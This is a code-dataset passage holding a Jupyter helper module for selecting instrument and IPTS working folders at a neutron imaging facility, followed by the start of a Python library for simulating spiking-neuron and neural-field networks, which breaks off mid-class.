"usage_type": "attribute"}, {"api_name": "aardwolf.keyboard.VK_MODIFIERS", "line_number": 292, "usage_type": "name"}, {"api_name": "aardwolf.keyboard.VK_MODIFIERS.VK_SHIFT", "line_number": 293, "usage_type": "attribute"}, {"api_name": "aardwolf.keyboard.VK_MODIFIERS", "line_number": 293, "usage_type": "name"}, {"api_name": "asyncio.sleep", "line_number": 300, "usage_type": "call"}, {"api_name": "asyncio.sleep", "line_number": 303, "usage_type": "call"}, {"api_name": "asyncio.sleep", "line_number": 305, "usage_type": "call"}, {"api_name": "asyncio.sleep", "line_number": 308, "usage_type": "call"}, {"api_name": "asyncio.sleep", "line_number": 313, "usage_type": "call"}, {"api_name": "asyncio.sleep", "line_number": 315, "usage_type": "call"}, {"api_name": "aardwolf.keyboard.layoutmanager.KeyboardLayoutManager", "line_number": 387, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 390, "usage_type": "call"}, {"api_name": "traceback.print_exc", "line_number": 400, "usage_type": "call"}, {"api_name": "asyncio.run", "line_number": 404, "usage_type": "call"}]}
{"seq_id": "13588243741", "text": "from __code import config\nimport getpass\nimport glob\nimport os\nimport platform\nfrom ipywidgets import widgets\nfrom IPython.core.display import display\nfrom IPython.core.display import HTML\n\nfrom __code._utilities.time import get_current_time_in_special_file_name_format\nfrom __code import LOGGER_FILE\nfrom __code._utilities.file import append_to_file\n\nlist_instrument_per_facility = {'HFIR': ['CG1D'],\n                                'SNS': ['SNAP', 'VENUS']}\n\n\nclass System:\n\n    working_dir = ''\n    start_path = ''\n\n    @classmethod\n    def select_working_dir(cls, debugger_folder='', system_folder='',\n                           facility='HFIR',\n                           instrument='CG1D',\n                           notebook=\"N/A\"):\n\n        try:\n\n            debugging = config.debugging\n            if debugging:\n                print(\"** Using Debugging Mode! **\")\n\n            display(HTML(\"\"\"\n                       \n                       \"\"\"))\n\n            full_list_instruments = cls.get_full_list_instrument()\n            full_list_instruments.sort()\n            start_path = cls.get_start_path(debugger_folder=debugger_folder,\n                                            system_folder=system_folder,\n                                            instrument=full_list_instruments[0])\n\n            cls.start_path = start_path\n\n            select_instrument_ui = widgets.HBox([widgets.Label(\"Select Instrument\",\n                                                      layout=widgets.Layout(width='20%')),\n                                        widgets.Select(options=full_list_instruments,\n                                                       value=full_list_instruments[0],\n                                                       layout=widgets.Layout(width='20%'))])\n            cls.instrument_ui = select_instrument_ui.children[1]\n            cls.instrument_ui.observe(cls.check_instrument_input, names='value')\n\n            help_ui = widgets.Button(description=\"HELP\",\n                                     button_style='info')\n            help_ui.on_click(cls.select_ipts_help)\n\n            top_hbox = widgets.HBox([widgets.Label(\"IPTS-\"),\n                                     widgets.Text(value=\"\",\n                                                  layout=widgets.Layout(width='10%')),\n                                     widgets.Label(\"DOES NOT EXIST!\",\n                                                   layout=widgets.Layout(width='20%'))])\n            cls.result_label = top_hbox.children[2]\n            cls.ipts_number = top_hbox.children[1]\n            cls.result_label.add_class(\"result_label\")\n            or_label = widgets.Label(\"OR\")\n\n            list_and_default_folders = cls.get_list_folders(start_path=start_path)\n            user_list_folders = list_and_default_folders['user_list_folders']\n            default_value = list_and_default_folders['default_value']\n\n            bottom_hbox = widgets.HBox([widgets.Label(\"Select Folder\",\n                                               layout=widgets.Layout(width=\"20%\")),\n                                 widgets.Select(options=user_list_folders,\n                                                value=default_value,\n                                                layout=widgets.Layout(height='300px')),\n                                 ])\n            cls.user_list_folders = user_list_folders\n            box = widgets.VBox([select_instrument_ui, top_hbox, or_label, bottom_hbox, help_ui])\n            display(box)\n\n            cls.working_dir_ui = bottom_hbox.children[1]\n            cls.manual_ipts_entry_ui = top_hbox.children[1]\n            cls.manual_ipts_entry_ui.observe(cls.check_ipts_input, names='value')\n\n            cls.result_label.value = \"\"\n\n        except:\n            cls.working_dir = os.path.expanduser(\"~\")\n            display(HTML('working dir set to -> ' + cls.working_dir +\n                         ''))\n\n        cls.log_use(notebook=notebook)\n\n    @classmethod\n    def log_use(cls, notebook=\"N/A\"):\n        if os.path.exists(os.path.dirname(LOGGER_FILE)):\n            # no dot log usage if notebooks are run locally\n            username = getpass.getuser()\n            date = get_current_time_in_special_file_name_format()\n            data = [f\"{date}: {username} started using {notebook}\"]\n            append_to_file(data=data, output_file_name=LOGGER_FILE)\n\n    @classmethod\n    def get_full_list_instrument(cls):\n\n        list_instrument = []\n        for _key in list_instrument_per_facility.keys():\n            _facility_list_instrument = list_instrument_per_facility[_key]\n            for _instr in _facility_list_instrument:\n                list_instrument.append(_instr)\n        return list_instrument\n\n    @classmethod\n    def get_list_folders(cls, start_path=''):\n        debugging = config.debugging\n\n        if debugging:\n            instrument = cls.get_instrument_selected()\n            computer_name = cls.get_computer_name()\n            start_path = config.debugger_instrument_folder[computer_name][instrument]\n            cls.start_path = start_path\n\n        list_folders = sorted(glob.glob(os.path.join(start_path, '*')))\n        short_list_folders = [os.path.basename(_folder) for _folder in list_folders if os.path.isdir(_folder)]\n        # short_list_folders = sorted(short_list_folders)\n\n        # if user mode, only display folder user can access\n        default_value = ''\n        if not debugging:\n            user_list_folders = [os.path.basename(_folder) for _folder in list_folders if os.access(_folder, os.R_OK)]\n            if len(user_list_folders) > 0:\n                default_value = user_list_folders[0]\n        else:  # debugging\n            user_list_folders = short_list_folders\n            default_value = config.project_folder\n            if not (default_value in user_list_folders):\n                if len(user_list_folders) > 0:\n                    default_value = user_list_folders[0]\n\n        return {'user_list_folders': user_list_folders,\n                'default_value': default_value}\n\n    @classmethod\n    def get_facility_from_instrument(cls, instrument='CG1D'):\n\n        for _facility in list_instrument_per_facility:\n            list_instrument = list_instrument_per_facility[_facility]\n            if instrument in list_instrument:\n                return _facility\n\n        return 'HFIR'\n\n    @classmethod\n    def get_instrument_selected(cls):\n        return cls.instrument_ui.value\n\n    @classmethod\n    def get_computer_name(cls):\n        return platform.node()\n\n    @classmethod\n    def get_facility_selected(cls):\n        return cls.get_facility_from_instrument(instrument=cls.get_instrument_selected())\n\n    @classmethod\n    def get_start_path(cls, debugger_folder='', system_folder='', instrument=''):\n\n        facility = cls.get_facility_from_instrument(instrument=instrument)\n\n        username = getpass.getuser()\n\n        debugging = config.debugging\n        debugger_username = config.debugger_username\n\n        found_a_folder = False\n        if debugger_folder == '':\n            for _folder in config.debugger_folder:\n                if os.path.exists(_folder):\n                    debugger_folder = _folder\n                    found_a_folder = True\n                    break\n\n        if not found_a_folder:\n            debugger_folder = './'\n\n        if debugging and (username == debugger_username):\n            # print(\"** Using Debugging Mode! **\")\n\n            # check that in debugging mode, on analysis machine, default folder exists\n            import socket\n\n            if socket.gethostname() == config.analysis_machine:\n                if not os.path.exists(debugger_folder):\n                    debugging = False\n\n            start_path = debugger_folder\n        else:\n            if system_folder == '':\n                start_path = \"/{}/{}/\".format(facility, instrument)\n            else:\n                start_path = system_folder\n            import warnings\n            warnings.filterwarnings('ignore')\n\n        return start_path\n\n    @classmethod\n    def select_ipts_help(cls, value):\n        import webbrowser\n        webbrowser.open(\"https://neutronimaging.pages.ornl.gov/tutorial/notebooks/select_ipts/\")\n\n    @classmethod\n    def check_instrument_input(cls, value_dict):\n        instrument = value_dict['new']\n\n        start_path = cls.get_start_path(instrument=instrument)\n        cls.start_path = start_path\n        list_and_default_folders = cls.get_list_folders(start_path=start_path)\n\n        user_list_folders = list_and_default_folders['user_list_folders']\n        default_value = list_and_default_folders['default_value']\n\n        cls.working_dir_ui.options = user_list_folders\n        cls.working_dir_ui.value = default_value\n\n        cls.ipts_number.value = ''\n        cls.result_label.value = ''\n\n    @classmethod\n    def check_ipts_input(cls, value):\n        ipts = value['new']\n        full_ipts = 'IPTS-{}'.format(ipts)\n        if os.path.exists(os.path.join(cls.start_path, full_ipts)):\n            # display(HTML(\"\"\"\n            #            \n            #            \"\"\"))\n            cls.result_label.value = \"OK\"\n            #select IPTS folder defined\n            cls.working_dir_ui.value = full_ipts\n\n        else:\n            # display(HTML(\"\"\"\n            #            \n            #            \"\"\"))\n            cls.result_label.value = \"DOES NOT EXIST!\"\n\n    @classmethod\n    def get_working_dir(cls):\n        if cls.working_dir:\n            return cls.working_dir\n        else:\n            return os.path.join(cls.start_path, cls.working_dir_ui.value)\n", "repo_name": "neutronimaging/python_notebooks", "sub_path": "notebooks/__code/system.py", "file_name": "system.py", "file_ext": "py", "file_size_in_byte": 10327, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 6, "dataset": "github-code", "pt": "70", "api": [{"api_name": "__code.config.debugging", "line_number": 31, "usage_type": "attribute"}, {"api_name": "__code.config", "line_number": 31, "usage_type": "name"}, {"api_name": "IPython.core.display.display", "line_number": 35, "usage_type": "call"}, {"api_name": "IPython.core.display.HTML", "line_number": 35, "usage_type": "call"}, {"api_name": "ipywidgets.widgets.HBox", "line_number": 53, "usage_type": "call"}, {"api_name": "ipywidgets.widgets", "line_number": 53, "usage_type": "name"}, {"api_name": "ipywidgets.widgets.Label", "line_number": 53, "usage_type": "call"}, {"api_name": "ipywidgets.widgets.Layout", "line_number": 54, "usage_type": "call"}, {"api_name": "ipywidgets.widgets", "line_number": 54, "usage_type": "name"}, {"api_name": "ipywidgets.widgets.Select", "line_number": 55, "usage_type": "call"}, {"api_name": "ipywidgets.widgets", "line_number": 55, "usage_type": "name"}, {"api_name": "ipywidgets.widgets.Layout", "line_number": 57, "usage_type": "call"}, {"api_name": "ipywidgets.widgets", "line_number": 57, "usage_type": "name"}, {"api_name": "ipywidgets.widgets.Button", "line_number": 61, "usage_type": "call"}, {"api_name": "ipywidgets.widgets", "line_number": 61, "usage_type": "name"}, {"api_name": "ipywidgets.widgets.HBox", "line_number": 65, "usage_type": "call"}, {"api_name": "ipywidgets.widgets", "line_number": 65, "usage_type": "name"}, {"api_name": "ipywidgets.widgets.Label", "line_number": 65, "usage_type": "call"}, {"api_name": "ipywidgets.widgets.Text", "line_number": 66, "usage_type": "call"}, {"api_name": "ipywidgets.widgets", "line_number": 66, "usage_type": "name"}, {"api_name": "ipywidgets.widgets.Layout", "line_number": 67, "usage_type": "call"}, {"api_name": "ipywidgets.widgets", "line_number": 67, "usage_type": "name"}, {"api_name": "ipywidgets.widgets.Label", "line_number": 68, "usage_type": "call"}, {"api_name": "ipywidgets.widgets", "line_number": 68, "usage_type": "name"}, {"api_name": "ipywidgets.widgets.Layout", "line_number": 69, "usage_type": "call"}, {"api_name": "ipywidgets.widgets", "line_number": 69, "usage_type": "name"}, {"api_name": "ipywidgets.widgets.Label", "line_number": 73, "usage_type": "call"}, {"api_name": "ipywidgets.widgets", "line_number": 73, "usage_type": "name"}, {"api_name": "ipywidgets.widgets.HBox", "line_number": 79, "usage_type": "call"}, {"api_name": "ipywidgets.widgets", "line_number": 79, "usage_type": "name"}, {"api_name": "ipywidgets.widgets.Label", "line_number": 79, "usage_type": "call"}, {"api_name": "ipywidgets.widgets.Layout", "line_number": 80, "usage_type": "call"}, {"api_name": "ipywidgets.widgets", "line_number": 80, "usage_type": "name"}, {"api_name": "ipywidgets.widgets.Select", "line_number": 81, "usage_type": "call"}, {"api_name": "ipywidgets.widgets", "line_number": 81, "usage_type": "name"}, {"api_name": "ipywidgets.widgets.Layout", "line_number": 83, "usage_type": "call"}, {"api_name": "ipywidgets.widgets", "line_number": 83, "usage_type": "name"}, {"api_name": "ipywidgets.widgets.VBox", "line_number": 86, "usage_type": "call"}, {"api_name": "ipywidgets.widgets", "line_number": 86, "usage_type": "name"}, {"api_name": "IPython.core.display.display", "line_number": 87, "usage_type": "call"}, {"api_name": "os.path.expanduser", "line_number": 96, "usage_type": "call"}, {"api_name": "os.path", "line_number": 96, "usage_type": "attribute"}, {"api_name": "IPython.core.display.display", "line_number": 97, "usage_type": "call"}, {"api_name": "IPython.core.display.HTML", "line_number": 97, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 104, "usage_type": "call"}, {"api_name": "os.path", "line_number": 104, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 104, "usage_type": "call"}, {"api_name": "__code.LOGGER_FILE", "line_number": 104, "usage_type": "argument"}, {"api_name": "getpass.getuser", "line_number": 106, "usage_type": "call"}, {"api_name": "__code._utilities.time.get_current_time_in_special_file_name_format", "line_number": 107, "usage_type": "call"}, {"api_name": "__code._utilities.file.append_to_file", "line_number": 109, "usage_type": "call"}, {"api_name": "__code.LOGGER_FILE", "line_number": 109, "usage_type": "name"}, {"api_name": "__code.config.debugging", "line_number": 123, "usage_type": "attribute"}, {"api_name": "__code.config", "line_number": 123, "usage_type": "name"}, {"api_name": "__code.config.debugger_instrument_folder", "line_number": 128, "usage_type": "attribute"}, {"api_name": "__code.config", "line_number": 128, "usage_type": "name"}, {"api_name": "glob.glob", "line_number": 131, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 131, "usage_type": "call"}, {"api_name": "os.path", "line_number": 131, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 132, "usage_type": "call"}, {"api_name": "os.path", "line_number": 132, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 132, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 138, "usage_type": "call"}, {"api_name": "os.path", "line_number": 138, "usage_type": "attribute"}, {"api_name": "os.access", "line_number": 138, "usage_type": "call"}, {"api_name": "os.R_OK", "line_number": 138, "usage_type": "attribute"}, {"api_name": "__code.config.project_folder", "line_number": 143, "usage_type": "attribute"}, {"api_name": "__code.config", "line_number": 143, "usage_type": "name"}, {"api_name": "platform.node", "line_number": 167, "usage_type": "call"}, {"api_name": "getpass.getuser", "line_number": 178, "usage_type": "call"}, {"api_name": "__code.config.debugging", "line_number": 180, "usage_type": "attribute"}, {"api_name": "__code.config", "line_number": 180, "usage_type": "name"}, {"api_name": "__code.config.debugger_username", "line_number": 181, "usage_type": "attribute"}, {"api_name": "__code.config", "line_number": 181, "usage_type": "name"}, {"api_name": "__code.config.debugger_folder", "line_number": 185, "usage_type": "attribute"}, {"api_name": "__code.config", "line_number": 185, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 186, "usage_type": "call"}, {"api_name": "os.path", "line_number": 186, "usage_type": "attribute"}, {"api_name": "socket.gethostname", "line_number": 200, "usage_type": "call"}, {"api_name": "__code.config.analysis_machine", "line_number": 200, "usage_type": "attribute"}, {"api_name": "__code.config", "line_number": 200, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 201, "usage_type": "call"}, {"api_name": "os.path", "line_number": 201, "usage_type": "attribute"}, {"api_name": "warnings.filterwarnings", "line_number": 211, "usage_type": "call"}, {"api_name": "webbrowser.open", "line_number": 218, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 241, "usage_type": "call"}, {"api_name": "os.path", "line_number": 241, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 241, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 272, "usage_type": "call"}, {"api_name": "os.path", "line_number": 272, "usage_type": "attribute"}]}
{"seq_id": "12440555281", "text": "import numpy as np\nfrom scipy import stats, special\nfrom scipy.fftpack import dct\nimport logging\nfrom libNeuroDyn import lorentz, gauss\nfrom sconf import create_dir, now\n\nlogging.getLogger('simu_lib').addHandler(logging.NullHandler())\n\n__author__ = 'Jose M. Esnaola Acebes'\n\n\"\"\" This file contains classes and functions to be used in the QIF network simulation.\n\n    Data: (to store parameters, variables, and some functions)\n    *****\n\"\"\"\n\npi = np.pi\n\n\nclass Data:\n    \"\"\" The data structure will have a general structure but must be shaped to match the simulation\n        parameters and variables.\n    \"\"\"\n\n    def __init__(self, opts, external=(None,)):\n        self.logger = logging.getLogger('simu_lib.Data')\n        self.logger.debug(\"Creating data structure.\")\n\n        # Mutable parameters will be stored in a dictionary called prmts\n        self.opts = opts\n        # Non-mutable parameters will be stored as separated variables\n        self.t0 = opts['t0']  # Initial time\n        self.tfinal = opts['tfinal']  # Final time\n        self.total_time = opts['tfinal'] - opts['t0']  # Time of simulation\n        self.dt = opts['dt']  # Time step\n        self.taue = opts['taue']\n        self.taui = opts['taui']\n        self.faketau = float(opts['faketau'])\n        self.n = opts['n']\n        self.ne = opts['ne']\n        self.ni = opts['ni']\n\n        if self.ne + self.ni != 1:\n            self.logger.warning(\"The proportion e:i of neurons %d:%d is odd...\" % (self.ne * 100, self.ni * 100))\n\n        # 0.2) Define the temporal resolution and other time-related variables\n        self.tpoints = np.arange(self.t0, self.tfinal, self.dt)  # Points for the plots and others\n        self.nsteps = len(self.tpoints)  # Total time steps\n\n        self.systems = opts['systems']\n        self.logger.debug(\"Systems to be simulated: %s\" % self.systems)\n        if set(self.systems).intersection({'nf', 'wc-nf', 'qif-nf', 'if-nf', 'eif-nf'}):\n            self.nf = True\n            self.logger.info(\"Type of system: Neural Network.\")\n        else:\n            self.nf = False\n            self.logger.info(\"Type of system: Neural Population(s).\")\n            if self.n > 2:\n                self.n = 2\n                self.opts['n'] = 2\n                self.opts['network']['n'] = 2\n\n        opts.update({'nf': self.nf})\n\n        # Conductance-based neurons\n        if opts.get('cond', False):\n            self.cond = True\n        else:\n            self.cond = False\n\n        # Other simulation options here:\n        self.all = opts['ap']  # In the GUI it will expand all the mutable parameters entered in the conf file.\n\n        # Simulation control variables\n        self.opts['controls'] = {'exit': False, 'pause': True, 'stop': False, 'x': None, 'y': None}\n        # Simulation raster control flags\n        self.opts['raster'] = {'start': False, 'update': False, 'rate': 100, 'dynamic': False, 'pop': None}\n\n        # Extra objects, such as perturbations, measures, etc.\n        # TODO\n        external = list(external)\n        for obj in external:\n            if obj:\n                pass\n\n        # ######## Edit below (and \"population\" function) to adapt for different simulations #####################\n        self.vars = {'t': self.tpoints, 'tstep': 0, 'temps': 0.0, 'dummy': np.ones(self.nsteps) * 0.8, 'cycle': 0}\n        self.lims = {'t': [0.0, self.tfinal * self.faketau], 're': [0, 100], 'ri': [0, 100], 'rwe': [0, 100], 'rwi': [0, 100],\n                     'Pe': [-np.pi, np.pi],\n                     've': [-2, 2], 'vi': [-2, 2], 'se': [0, 2], 'si': [0, 2], 'Pi': [-np.pi, np.pi]}\n        # In case we have a neural field:\n        if self.n > 2:\n            self.vars.update({'phi': np.linspace(-np.pi, np.pi, self.n)})\n            self.lims.update({'phi': [-np.pi, np.pi]})\n            self.nf = True\n            it = np.ones((self.nsteps, self.n)) * 0.0\n        else:\n            if not self.nf:\n                self.n = 1\n                opts['n'] = 1\n                opts['network']['n'] = 1\n                self.nf = False\n            it = np.ones(self.nsteps) * 0.0\n\n        # External time-dependent input current\n        self.vars.update({'it': it})\n\n        # Output variables will be stored in dictionaries to make the Queue handling easy\n        exc, inh = (None, None)\n        if set(self.systems).intersection({'fr', 'wc'}):\n            exc = self.single_population(self.nsteps, 2.0, -1.0, 0.0, name=\"e\")\n            inh = self.single_population(self.nsteps, 1.0, -0.5, 0.0, name=\"i\")\n        elif set(self.systems).intersection({'nf', 'wc-nf'}):\n            exc = self.network_population(self.nsteps, self.n, 2.0, -1.0, 0.0, name=\"e\")\n            inh = self.network_population(self.nsteps, self.n, 2.0, -1.0, 0.0, name=\"i\")\n\n        if set(self.systems).intersection({'fr', 'wc', 'nf', 'wc-nf'}):\n            self.vars.update(exc)\n            self.vars.update(inh)\n            del exc, inh\n        else:\n            self.vars.update({'re': 0, 'ri': 0, 've': 0, 'vi': 0, 'rwe': 0, 'rwi': 0, 'ser': 0, 'sir': 0, 'swer': 0, 'swir': 0})\n\n        # Spiking neurons\n        # General configuration (number of neurons in each population, etc.)\n        if set(self.systems).intersection({'qif-fr', 'if-fr', 'eif-fr', 'qif-nf', 'if-nf', 'eif-nf'}):\n            # Configuration of the spiking neurons:\n            self.vpeak = 100.0\n            self.vreset = -100.0\n            self.vth = 0.0  # Threshold voltage (not implemented)\n            self.rte = self.taue * (1.0 / self.vpeak - 1.0 / self.vreset)\n            self.rti = self.taui * (1.0 / self.vpeak - 1.0 / self.vreset)\n            self.tpeak_e = self.taue / self.vpeak\n            self.tpeak_i = self.taui / self.vpeak\n            self.opts['sp'] = 'qif'\n            if set(self.systems).intersection({'if-fr', 'eif-fr', 'if-nf', 'eif-nf'}):\n                self.vpeak = opts.get('vpeak', 0)\n                self.vreset = opts.get('vreset', -60.0)\n                self.reversal = opts.get('revers', -50.0)\n                self.sharp = opts.get('sharp', 3)\n                self.rheo = opts.get('rheo', -53)\n                if set(self.systems).intersection({'eif-fr', 'eif-nf'}):\n                    self.rte = opts.get('rperiod', 0.25)\n                    self.rti = self.rte*1.0\n                    # self.rte = 0.1  # 5 ms assuming tau = 20 ms and dt = 2 * 10^-5 s\n                    # self.rti = 0.1\n                self.tpeak_e = self.dt\n                self.tpeak_i = self.dt\n                if set(self.systems).intersection({'if-fr', 'if-nf'}):\n                    self.opts['sp'] = 'if'\n                else:\n                    self.opts['sp'] = 'eif'\n            # Configuration of the network\n            self.N = opts['N']\n            self.Ne = int(self.N * self.ne)\n            self.Ni = int(self.N * self.ni)\n            self.logger.debug(\"Total number of neurons: %d.\"\n                              \"\\n\\t\\t\\t\\t\\t\\tExcitatory: %d.\\n\\t\\t\\t\\t\\t\\tInhibitory: %d.\" % (self.N, self.Ne, self.Ni))\n            opts.update({'Ne': self.Ne, 'Ni': self.Ni})\n            # It is necessary to load the FR class to be able to measure something\n            self.fr = FiringRate(opts)\n            self.sye = np.ones(self.nsteps) * 0.0\n            self.syi = np.ones(self.nsteps) * 0.0\n            self.vars.update({'sp_re': self.fr.re, 'sp_ri': self.fr.ri, 'sp_r': self.fr.r,\n                              'tfr': self.fr.t, 'frtstep': self.fr.tstep, 'frtstep2': self.fr.tstep2, 'sye': self.sye,\n                              'syi': self.syi})\n            self.lims.update({'tfr': [0.0, self.tfinal * self.faketau], 'sp_re': [0.0, 100.0], 'sp_ri': [0.0, 100.0]})\n\n            # Synaptic activation computation requires a convolution with a weighting function (Heaviside, expo, alpha)\n            self.t_syn = opts.get('tsyn', 10)\n            self.t_syn = 1\n            self.a_tau = self.synaptic_activation(self.t_syn, self.dt)\n            # Distribution of external currents\n            self.eta_e = self.external_currents(opts['etae'], opts['delta'], self.Ne, n=self.n, distribution=opts['D'])\n            self.eta_i = self.external_currents(opts['etai'], opts['delta'], self.Ni, n=self.n, distribution=opts['D'])\n            # Distribution of reversal potentials\n            if self.cond:\n                self.rev_e = self.external_currents(opts['reverse'], opts['gamma'], self.Ne, n=self.n,\n                                                    distribution=opts['D'])\n                self.rev_i = self.external_currents(opts['reversi'], opts['gamma'], self.Ni, n=self.n,\n                                                    distribution=opts['G'])\n\n            # Matrices containing voltages, spikes, and times of the spikes\n            m_type = np.dtype([('i', np.int32), ('v', np.float64), ('t', np.float32), ('s', np.int8)])\n            self.m_e = np.ndarray([self.Ne], dtype=m_type)\n            self.m_e['i'] = range(self.Ne)\n            # self.m_e['v'] = np.random.randn(self.Ne)\n            self.m_e['v'] = np.ones(self.Ne) * (-0.1)\n            self.m_e['t'] = 0.0\n            self.m_e['s'] = 0\n            self.m_i = np.ndarray([self.Ni], dtype=m_type)\n            self.m_i['i'] = range(self.Ni)\n            # self.m_i['v'] = np.random.randn(self.Ni)\n            self.m_i['v'] = np.ones(self.Ni) * (-0.1)\n            self.m_i['t'] = 0.0\n            self.m_i['s'] = 0\n\n            # Matrices containing spikes, to be able to compute the synaptic activation\n            self.spk_e = np.ones(shape=(self.Ne, self.t_syn), dtype=np.int8) * 0\n            self.spk_i = np.ones(shape=(self.Ni, self.t_syn), dtype=np.int8) * 0\n            # Matrices registering the spikes in the appropriate time step (takes into account the refractory period)\n            self.spk_time_e = int(self.tpeak_e / self.dt)\n            self.spk_time_i = int(self.tpeak_i / self.dt)\n            if self.spk_time_e == 0 or self.spk_time_i == 0:\n                self.spk_e_mod = None\n                self.spk_i_mod = None\n            else:\n                self.spk_e_mod = np.ones(shape=(self.Ne, self.spk_time_e), dtype=np.int8) * 0\n                self.spk_i_mod = np.ones(shape=(self.Ni, self.spk_time_i), dtype=np.int8) * 0\n        else:\n            self.fr = None\n\n        if set(self.systems).intersection({'qif-fr', 'if-fr', 'eif-fr'}):\n            # Anything special for the spk-n fr simulations goes here\n            pass\n        elif set(self.systems).intersection({'qif-nf', 'if-nf', 'eif-nf'}):\n            self.dN = self.N / self.n\n            self.dNe = self.Ne / self.n\n            self.dNi = self.Ni / self.n\n            # Auxiliary matrices for the dot product\n            self.auxMatE = np.zeros((self.n, self.Ne))\n            self.auxMatI = np.zeros((self.n, self.Ni))\n            for i in xrange(self.n):\n                self.auxMatE[i, i * self.dNe:(i + 1) * self.dNe] = 1.0\n                self.auxMatI[i, i * self.dNi:(i + 1) * self.dNi] = 1.0\n\n            self.auxMat = np.zeros((self.n, self.N))\n            for i in xrange(self.n):\n                self.auxMat[i, i * self.dN:(i + 1) * self.dN] = 1.0\n            self.aux = {'e': self.auxMatE, 'i': self.auxMatI, 'r': self.auxMat}\n\n            # Arrays to select different populations in the raster plot\n            self.pope = {}\n            self.popi = {}\n            for n in xrange(self.n):\n                self.pope[n] = np.arange(n * self.dNe, (n+1) * self.dNe)\n                self.popi[n] = np.arange(n * self.dNi, (n + 1) * self.dNi)\n\n        # Create a registry of the dimensions of the variables\n        for var in self.vars:\n            shape = np.shape(self.vars[var])\n            # self.logger.debug(\"Dim of %s: %s.\" % (var, str(shape)))\n            if len(list(shape)) > 1:\n                cols = len(self.vars[var][0])\n                # self.logger.debug(\"\\tIs a Matrix with %d colums.\" % cols)\n                try:\n                    self.lims[var] = list(np.concatenate((np.array(self.lims[var]), np.array([cols]))))\n                    self.logger.debug(\"\\tLim array is now %s\" % self.lims[var])\n                except KeyError:\n                    pass\n\n        self.Save = SaveResults\n\n    @staticmethod\n    def single_population(nsteps, r0=1.0, v0=-1.0, s0=0.0, name=\"\"):\n        r = np.ones(nsteps) * 0.1\n        rw = np.ones(nsteps) * 0.1\n        v = np.ones(nsteps) * (-0.01)\n        r[len(r) - 1] = r0\n        v[len(v) - 1] = -v0\n        s = np.ones(nsteps) * 0.1\n        s[len(s) - 1] = s0\n        sw = np.ones(nsteps) * 0.1\n        sw[len(sw) - 1] = s0\n        # Kuramoto order parameter and phase\n        R = np.ones(nsteps) * 0.1\n        P = np.ones(nsteps) * 0.1\n        return {'rw' + name: rw, 'r' + name: r, 'v' + name: v, 's' + name + 'r': s, 'sw' + name + 'r': sw, 'R' + name: R, 'P' + name: P}\n\n    @staticmethod\n    def network_population(nsteps, n, r0=1.0, v0=-1.0, s0=0.0, name=\"\"):\n        r = np.ones((nsteps, n)) * 0.0\n        v = np.ones((nsteps, n)) * 0.0\n        r[len(r) - 1, :] = r0\n        v[len(v) - 1, :] = v0\n        s = np.ones((2, n)) * 1.0\n        s[len(s) - 1, :] = s0\n        sw = np.ones((2, n)) * 0.1\n        sw[len(sw) - 1, :] = s0\n        # Kuramoto order parameter and phase\n        R = np.ones(nsteps) * 0.1\n        P = np.ones(nsteps) * 0.1\n        # WC neural field\n        rw = np.ones((nsteps, n)) * 0.1\n        return {'rw' + name: rw, 'r' + name: r, 'v' + name: v, 's' + name + 'r': s, 'sw' + name + 'r': sw, 'R' + name: R, 'P' + name: P}\n\n    @staticmethod\n    def synaptic_activation(tsyn_steps, dt, funct='heaviside'):\n        tau_syn = tsyn_steps * dt\n        h_tau = 1.0 / tau_syn\n        if funct == 'heaviside':\n            a_tau0 = np.transpose(h_tau * np.ones(tsyn_steps))\n        elif funct == 'exp_decay':\n            a_tau0 = np.transpose(h_tau * np.array(np.exp(-dt * h_tau * np.arange(tsyn_steps))))\n        else:\n            return None\n        a_tau = np.zeros((tsyn_steps, tsyn_steps))\n        for i in xrange(tsyn_steps):\n            a_tau[i] = np.roll(a_tau0, i, 0)\n        return a_tau\n\n    @staticmethod\n    def external_currents(center, width, pop, n=1, distribution='lorentz'):\n        # Implemented distributions:\n        dist = {'lorentz': lorentz, 'gauss': gauss}\n        if distribution == 'noise':\n            logging.info(\"Setting an homogeneous population (identical neurons).\")\n            eta_i = np.ones(pop / n) * center\n        else:\n            logging.info(\"Setting an heterogeneous population.\")\n            logging.debug(\"Distribution of external currents: %s\" % distribution)\n            try:\n                eta_i = dist[distribution](pop / n, center, width)\n            except KeyError:\n                logging.error(\"Distribution %s not implemented.\" % distribution)\n                return -1\n        # Set distributions for each node in case is a NF\n        if n > 2:\n            eta = np.zeros(pop)\n            for i in xrange(n):\n                eta[i * (pop / n):(i + 1) * (pop / n)] = 1.0 * eta_i\n            del eta_i\n            eta_i = eta * 1.0\n        return eta_i\n\n\nclass FiringRate:\n    \"\"\" Firing rate measurement of populations of spiking neurons.\"\"\"\n\n    def __init__(self, opts):\n        self.logger = logging.getLogger('simu_lib.FiringRate')\n        self.name = 'firingrate'\n\n        # Parameters of the simulation:\n        self.o = opts\n        self.dt = self.o['dt']\n        self.N = self.o['N']\n        self.nsteps = int((opts['tfinal'] - opts['t0']) / self.dt)\n        self.n = self.o['n']\n        if self.n > 2:\n            self.nf = True\n            self.logger.debug(\"Firing rate measure for a neural field.\")\n        else:\n            self.nf = False\n            self.logger.debug(\"Firing rate measure for a single population.\")\n\n        try:\n            self.Ne = self.o['Ne']\n            self.Ni = self.o['Ni']\n            if self.nf:\n                self.dN = self.N / self.n\n                self.dNe = self.Ne / self.n\n                self.dNi = self.Ni / self.n\n        except KeyError:\n            self.logger.warning(\"Trying to create Firing Rate object without having spiking neurons!\")\n            raise KeyError\n\n        # Fundamental parameters of FR measurement: sliding window, sampling rate,\n        #                                           convolution function (heaviside, gauss).\n        self.fo = opts['firingrate']\n        self.sld_windw = None  # Sliding window in simulation time units (dt units)\n        self.sld_steps = None  # Sliding window in simulation time steps\n        self.wones = None  # Auxiliary vector of ones (for dot product)\n\n        # Rate of sampling\n        self.spl_time = None\n        self.spl_steps = None\n\n        # Time vector and firig rate vectors for FR measure\n        